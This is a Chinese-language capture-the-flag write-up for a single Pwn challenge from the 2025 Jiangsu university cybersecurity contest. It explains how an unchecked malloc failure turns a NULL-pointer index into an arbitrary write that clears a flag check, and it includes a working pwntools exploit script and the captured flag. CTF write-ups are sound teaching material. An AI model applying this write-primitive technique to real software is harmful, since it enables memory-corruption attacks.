┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: 2025
年江苏省第七届大学生网络空间安全知识技能大赛预赛
~ CuB3y0nd
打个酱油辅助一下……难以想象整个比赛就这一道 Pwn,也是体验了一波 AK 完睡觉的感觉……

# Pwn

## Description

- Category: Pwn

## Write-ups

保护全开,不过就一个很小的 main 函数:

```c
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *ptr; // rbx
  char *buf; // rbp
  size_t write_size; // rdx
  size_t size[5]; // [rsp+0h] [rbp-28h] BYREF

  size[1] = __readfsqword(0x28u);
  setup();
  puts("Welcome.");
  ptr = malloc(0x40000u);
  *ptr = 1;
  _printf_chk(1, "Leak: %pn");
  _printf_chk(1, "Length of your message: ");
  size[0] = 0;
  _isoc99_scanf("%lu", size);
  buf = (char *)malloc(size[0]);
  _printf_chk(1, "Enter your message: ");
  read(0, buf, size[0]);
  write_size = size[0];
  buf[size[0] - 1] = 0;
  write(1, buf, write_size);
  if ( !*ptr )
    system("cat /flag");
  return 0;
}
```

一开始想的是堆溢出,后来调试了一下发现是不可能的(当时还因为没有 libc,手动 patc
h 出毛病,pwndbg 检查不了 heap 等一系列问题浪费了将近一小时……),然后想着有没有
可能改 read 的 size、是不是和整数溢出有关……结果就是,都错了。

不过在思考整数溢出的时候,倒是给了我一些灵感。一开始也不知道如果和整数溢出有关的
话应该做点啥,就直接输入经典的 -1 调试了一下,发现 malloc 因为请求值太大而失败了
,于是乎,就有了下面的解决方案:

程序首先 malloc 返回一个地址,然后将其启始处的值设为 1。之后 if 判断这个值是否为
 0, 为 0 就 cat flag 。所以目标自然是将这个值清零。

如果我们给 malloc 传入一个巨大的 size,malloc 会直接失败,返回 0,这样一来 buf 
就变成了 NULL 。接着下面的 read 就会向空指针处写入值,也必然失败。由于程序没有检
查 malloc 和 read 的返回值,所以会无视错误继续运行。接下来 `buf[size[0] - 1] = 0
` 就相当于 `((char *)NULL)[size[0] - 1] = 0`,也就是 `*(size[0] - 1) = 0`。

由于 `size[0]` 是我们输入的 size,那我们就获得了一个任意地址写。令 size 为泄漏出
来的地址加一,它就会将泄漏出来的地址处的值清空,成功绕过 if 检测。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)


FILE = "./patched"
HOST, PORT = "new.mhxaskills.cn", 33662

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    target.recvuntil(b"Leak: ")
    leak = int(target.recvline().strip(), 16)

    # raw_input("DEBUG")
    target.sendlineafter(b"Length of your message: ", str(leak + 1).encode())
    target.sendlineafter(b"Enter your message: ", b"A")

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`flag{15655165-6d36-e11d-4e83-5f14cb5d1da5}`]